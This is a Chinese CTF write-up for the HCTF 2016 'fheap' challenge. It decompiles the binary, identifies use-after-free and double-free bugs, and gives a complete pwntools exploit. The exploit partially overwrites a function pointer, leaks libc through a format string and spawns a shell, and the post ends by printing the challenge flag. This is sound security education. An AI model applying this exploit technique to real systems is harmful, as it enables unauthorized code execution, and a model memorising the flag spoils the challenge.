HCTF-2016-fheap

  • 题目下载

  • checksec pwn-f

    ➜  hctf-2016-fheap checksec pwn-f
    [*] '/mnt/d/Users/Lantern/Desktop/note/pwn_note/items/hctf-2016-fheap/pwn-f'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: PIE enabled
  • 利用方式: 利用 double free + 格式化字符串

  • libc version: libc6_2.23-0ubuntu11_amd64

结构体

  • str 结构体

    00000000 str             struc ; (sizeof=0x20, mappedto_6)
    00000000 string dq ? ; offset
    00000008 field_8 dq ?
    00000010 len dd ?
    00000014 field_14 dd ?
    00000018 free_func dq ? ; offset
    00000020 str ends
  • string 结构体

    00000000 string          struc ; (sizeof=0x10, mappedto_7)
    00000000 inuse dd ?
    00000004 field_4 dd ?
    00000008 str dq ? ; offset
    00000010 string ends

函数

create

unsigned __int64 create()
{
signed int i; // [rsp+4h] [rbp-102Ch]
str *ptr; // [rsp+8h] [rbp-1028h]
char *dest; // [rsp+10h] [rbp-1020h]
size_t nbytes; // [rsp+18h] [rbp-1018h]
size_t nbytesa; // [rsp+18h] [rbp-1018h]
char buf; // [rsp+20h] [rbp-1010h]
unsigned __int64 v7; // [rsp+1028h] [rbp-8h]

v7 = __readfsqword(0x28u);
ptr = (str *)malloc(0x20uLL);
printf("Pls give string size:");
nbytes = read_int();
if ( nbytes <= 0x1000 )
{
printf("str:");
if ( read(0, &buf, nbytes) == -1 )
{
puts("got elf!!");
exit(1);
}
nbytesa = strlen(&buf);
if ( nbytesa > 0xF )
{
dest = (char *)malloc(nbytesa);
if ( !dest )
{
puts("malloc faild!");
exit(1);
}
strncpy(dest, &buf, nbytesa);
ptr->string = dest;
ptr->free_func = free_func1;
}
else
{
strncpy((char *)ptr, &buf, nbytesa);
ptr->free_func = free_func2;
}
ptr->len = nbytesa;
for ( i = 0; i <= 15; ++i )
{
if ( !string_list[i].inuse )
{
string_list[i].inuse = 1;
string_list[i].str = ptr;
printf("The string id is %d\n", (unsigned int)i);
break;
}
}
if ( i == 16 )
{
puts("The string list is full");
ptr->free_func((char *)ptr);
}
}
else
{
puts("Invalid size");
free(ptr);
}
return __readfsqword(0x28u) ^ v7;
}
  • 如果输入的字符串的长度大于 15, 则重新 maloc 一块堆块用来存放字符串
  • 否则就放在 ptr 的开头位置

其中两个 free 函数如下

free_func 1

void __fastcall free_func1(char **a1)
{
free(*a1);
free(a1);
}

free_func 2

void __fastcall free_func2(char *a1)
{
free(a1);
}

delete

unsigned __int64 delete()
{
int index; // [rsp+Ch] [rbp-114h]
char buf; // [rsp+10h] [rbp-110h]
unsigned __int64 v3; // [rsp+118h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Pls give me the string id you want to delete\nid:");
index = read_int();
if ( index < 0 || index > 16 )
puts("Invalid id");
if ( string_list[index].str )
{
printf("Are you sure?:");
read(0, &buf, 0x100uLL);
if ( !strncmp(&buf, "yes", 3uLL) )
{
((void (__fastcall *)(str *, const char *))string_list[index].str->free_func)(string_list[index].str, "yes");
string_list[index].inuse = 0;
}
}
return __readfsqword(0x28u) ^ v3;
}

先判断索引表中的指针是否存在, 然后调用了存在 str 结构体中的 free_func 函数, 而实际上应该只有一个参数, ”yes“为IDA自动分析的“锅”

漏洞

  • free 以后没有将全局指针置空, 存在 UAF 漏洞
  • free 前没有判断当前 chunk 是否 inuse, 存在 double free 漏洞

思路

调用任意函数

由于 free 函数是动态调用, 所以我们如果可以覆盖 chunk ptr 中的函数指针, 我们就可以调用任意函数。

因为程序开启了 PIE, 所以我们无法知道准确的地址, 但是 PIE 存在一个缺陷, 那就是 PIE 的随机化只能影响到单个内存页。通常来说, 一个内存页大小为 0x1000, 所以最后的3个十六进制数字是不会变化的, 我们就可以通过部分写入来绕过 PIE。

  • 先 create 两个大小小于 0xF 的 note, 然后 delete 1, delete 0, 然后再 create 一个 0x20 大小的 note

    create(4, "a" * 4)
    create(4, "b" * 4)

    delete(1)
    delete(0)

    此时 heap

    image-20200728145320091
    create(0x20, "a" * 0x20)

    此时 heap

image-20200728145801263
  • 这样 ptr 就会得到 str 0 的地址, dest 就会拿到 str 1的地址, 这里我们就可以通过输入的 str 0 内容, 覆盖掉 str 1 中 free 函数的地址。

此时只要我们再次 delete 1, 就可以调用我们改写的函数了

泄露libc基地址

能够调用任意函数之后, 我们只要找到 system 的地址, 就可以拿到 shell 了。

可以通过格式化字符串printf来泄露地址。用 objdump 来看看调用 printf 的地址

➜  work objdump -d pwn-f| grep printf
00000000000009d0 <printf@plt>:
dbb: e8 10 fc ff ff callq 9d0 <printf@plt>
e19: e8 b2 fb ff ff callq 9d0 <printf@plt>
f0a: e8 c1 fa ff ff callq 9d0 <printf@plt>
f56: e8 75 fa ff ff callq 9d0 <printf@plt>
10ee: e8 dd f8 ff ff callq 9d0 <printf@plt>

因为只能修改一个字节, 所以我们选择 0xdbb 处的 call 指令, 要注意的是 printf 函数中会对 al 寄存器进行检测, 如果不为 0 就执行movaps 这些指令, 而这些指令后面的操作数需要是 16 位对齐。所以我们查看 IDA 中的汇编指令, 最后选择的是 0xdbb 的前一个指令, 即 0xdb6 处的mov eax, 0

//printf
.text:0000000000054400 sub rsp, 0D8h
.text:0000000000054407 test al, al
.text:0000000000054409 mov [rsp+0D8h+var_B0], rsi
...
.text:0000000000054422 jz short loc_5445B
.text:0000000000054424 movaps [rsp+0D8h+var_88], xmm0
...
.text:000000000005445B
.text:000000000005445B loc_5445B: ; CODE XREF: printf+22↑j
.text:000000000005445B lea rax, [rsp+0D8h+arg_0]

//fheap
.text:0000000000000DB6 mov eax, 0
.text:0000000000000DBB call _printf

因此可以得到如下脚本

create(4, "a") # 0
create(4, "b") # 1

delete(1)
delete(0)

create(0x20, b'Start'.ljust(0x18, b'c') + p8(0xB6)) # 0

接着我们给 printf 函数下个断点调试一下, 可以看到堆栈中有 libc 中存在的函数的地址, 在0xaa处有__libc_start_main + 240, 这个实际上是__libc_start_main_ret的地址

image-20200728165527087

泄露出这个地址就可以用libc database search查找libc

https://libc.blukat.me/?q=__libc_start_main_ret%3A0x830&l=libc6_2.23-0ubuntu11_amd64

得到 system 函数地址为 __libc_start_main_ret + 0x24b60

我这里 libc 版本有问题, 按 BUUOJ 上的环境 leak 出来的地址低三位应该是 0x830, 而不是 0x730

EXP

from pwn import *

p = process("./pwn-f")

p = remote("node3.buuoj.cn", 29767)

libc = ELF("./libc.so.6")

context.terminal = ['tmux', 'splitw', '-h']
# context.log_level = 'debug'

def dbg(breakpoint):
gdb.attach(p, breakpoint)

def create(size, string):
p.recvuntil("3.quit\n")
p.sendline("create ")
p.sendlineafter("Pls give string size:", str(size))
p.sendafter("str:", string)
def delete(idx):
p.recvuntil("3.quit\n")
p.sendline("delete ")
p.sendlineafter("id:", str(idx))
p.sendlineafter("Are you sure?:", "yes")
create(4, "a") # 0
create(4, "b") # 1

delete(1)
delete(0)

create(0x20, b'Start%176$pEnd'.ljust(0x18, b'c') + p8(0xB6)) # 0

delete(1)

p.recvuntil("Start")
libc_start_main_ret_addr = int(p.recvuntil("End", drop=True), 16)

system_addr = libc_start_main_ret_addr + 0x24b60

log.success("__libc_start_main_ret address: " + hex(libc_start_main_ret_addr))
log.success("system address: " + hex(system_addr))

p.sendline("")
p.sendline("")

delete(0)
create(0x20, b"/bin/sh;".ljust(24, b"p") + p64(system_addr))

delete(1)

p.interactive()

flag: flag{6d65aed1-933c-4b02-879e-cc5a8ec270ed}